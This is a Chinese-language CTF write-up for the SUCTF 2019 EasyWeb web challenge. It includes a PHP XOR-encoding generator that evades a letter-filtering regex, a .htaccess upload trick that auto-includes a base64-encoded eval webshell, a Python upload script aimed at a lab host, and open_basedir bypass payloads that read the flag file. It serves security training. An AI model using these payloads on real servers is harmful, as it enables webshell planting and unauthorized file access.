2021-08-13

SUCTF 2019EasyWeb

ctf里面什么所谓的easy baby全是骗人的一点都不easy

这正则直接过滤了所有的字母可以用异或取反自增绕过
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
这个网站讲了操作
但是这关对长度限制自增看样子不行了用异或绕过

<?php
function finds($string){
	$index = 0;
	$a=[33,35,36,37,40,41,42,43,45,47,58,59,60,62,63,64,92,93,94,123,125,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255];
	for($i=27;$i<count($a);$i++){
		for($j=27;$j<count($a);$j++){
			$x = $a[$i] ^ $a[$j];
			for($k = 0;$k<strlen($string);$k++){
				if(ord($string[$k]) == $x){
					echo $string[$k]."\n";
					echo '%' . dechex($a[$i]) . '^%' . dechex($a[$j])."\n";
					$index++;
					if($index == strlen($string)){
						return 0;
					}
				}
			}
		}
	}
}
finds("_GET");
?>

运行这个生成这串

1	G %86^%c1 E %86^%c3 T %86^%d2 _ %86^%d9

组合一下就是

1	?_${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=phpinfo

这边各种限制只能从**get_the_flag()**的函数下手
看到可以进行文件上传但是过滤了后缀名不能上传带有ph后缀的文件 php phtml都不行了

1 2	nginx的服务器，而且上传目录下有一个php文件，所以上传.user.ini apache的服务器，应该上传.htaccess

这边是apache
还对内容进行了过滤不能包含<? 而且这边版本问题

1	<script language="php"></script>

用不了
这边可以将一句话进行base64编码然后.htaccess利用php伪协议进行解码
还有文件头检测 GIF89进行绕过 但是这边会有问题上传的.htaccess文件无法生效
可以用

1 2	#define width 1337 #define height 1337 用注释进行绕过

#define width 1337
#define height 1337 
AddType application/x-httpd-php .ahhh
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.aaa"

1
2
3

shell.aaa
GIF89a12 #加这个12 为了补足八字节满足base64编码规则
PD9waHAgZXZhbCgkX0dFVFsnYSddKTs/Pg==

import requests
import base64

htaccess = b"""
#define width 1337
#define height 1337 
AddType application/x-httpd-php .aaa
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.aaa"
"""
shell = b"GIF89a12" + base64.b64encode(b"<?php eval($_REQUEST['a']);?>")
url = "http://1e70a83e-d624-4134-b4d2-407896936c60.node4.buuoj.cn:81/?_=${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=get_the_flag"

files = {'file':('.htaccess',htaccess,'image/jpeg')}
data = {"upload":"Submit"}
response = requests.post(url=url, data=data, files=files)
print(response.text)

files = {'file':('shell.aaa',shell,'image/jpeg')}
response = requests.post(url=url, data=data, files=files)
print(response.text)

获得上传到的路径可以进行访问

然后还需要绕过

1	open_basedir

https://xz.aliyun.com/t/4720 这篇文章的payload可以直接使用

1	shell.aaa?a=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir("/"));

然后访问这个this is the flag

1	?a=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('/THis_Is_tHe_F14g'));

就能拿到flag